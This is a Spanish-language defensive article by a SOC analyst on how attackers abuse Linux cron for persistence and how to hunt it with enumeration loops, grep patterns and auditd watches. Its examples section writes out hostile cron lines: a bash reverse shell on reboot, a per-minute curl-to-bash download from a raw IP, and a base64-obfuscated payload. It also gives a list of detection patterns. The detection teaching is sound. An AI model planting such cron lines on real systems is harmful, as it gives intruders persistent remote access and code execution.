Persistencia por cron: cómo la usan los atacantes y cómo cazarla

Cuando un atacante consigue ejecución en un Linux, su siguiente objetivo es sobrevivir a un reinicio. Y pocos sitios son tan cómodos para esconderse como el cron: es legítimo, está en todas partes, se ejecuta solo y casi nadie lo audita. Una línea bien puesta te devuelve la shell cada minuto —o en cada arranque— sin volver a tocar el sistema.

Por qué el cron es un nido de persistencia

El cron no es una cosa: son muchos sitios, y ahí está la gracia para quien ataca. Si solo miras crontab -l de tu usuario, se te escapa casi todo:

/etc/crontab                 # cron del sistema
/etc/cron.d/*                # fragmentos (paquetes… y atacantes)
/etc/cron.{hourly,daily,weekly,monthly}/   # scripts sueltos
/var/spool/cron/crontabs/*   # crontab por usuario (Debian/Ubuntu)
/var/spool/cron/*            # idem (RHEL/CentOS)

Y luego está @reboot, que ejecuta al arrancar: perfecto para recuperar el acceso tras un reinicio sin depender de un horario.

Cómo lo usan (para que sepas qué buscar)

Los clásicos, ordenados de más ruidoso a más sutil:

# reverse shell en cada arranque
@reboot /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# descarga y ejecuta cada minuto (patrón de malware de libro)
* * * * * curl -s http://185.x.x.x/a | bash

# ofuscado con Base64 para saltarse una lectura rápida
* * * * * echo YmFzaCAtaS...==| base64 -d | bash

La caza: enumera TODOS los crons

Lo primero, volcar todo lo programado del sistema, no solo tu usuario:

# crontab de cada usuario del sistema
for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; crontab -l -u "$u" 2>/dev/null; done

# los sitios del sistema, de un vistazo
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
grep -R . /etc/cron.d/ 2>/dev/null

Sobre ese volcado, busca los patrones que delatan: curl|wget … | sh, base64 -d, /dev/tcp/, nc -e, ejecución desde /tmp o /dev/shm, chmod 777/+s y descargas contra una IP en crudo en vez de un dominio.

Y vigila los cambios

Enumerar es una foto; lo que quieres es una alarma cuando alguien toque el cron. Con auditd:

auditctl -w /etc/crontab -p wa -k cron_mod
auditctl -w /etc/cron.d/ -p wa -k cron_mod
auditctl -w /var/spool/cron/ -p wa -k cron_mod
ausearch -k cron_mod

En el EDR/SIEM, dos señales de oro: modificación de ficheros cron fuera de una instalación de paquetes, y procesos hijos sospechosos de cron/crond (una shell interactiva, curl, base64 o un intérprete colgando de cron a horas raras).

Checklist

• ✅ Enumera los seis sitios, no solo crontab -l
• ✅ Revisa @reboot y los crontabs de usuarios de servicio (www-data, etc.)
• ✅ Busca curl|sh, base64 -d, /dev/tcp, nc -e, /tmp, IPs en crudo
• ✅ auditd vigilando los ficheros cron + alerta por hijos raros de cron
• ✅ Ante la duda, pásala por el Analizador Cron

El cron es tan útil para operar como para persistir. La diferencia entre un sysadmin y un atacante en tu crontab son, muchas veces, dos líneas — y saber leerlas a tiempo.

Sergio Belmonte Morales
Analista de Ciberseguridad · SOC · Especialista en Sentinel/KQL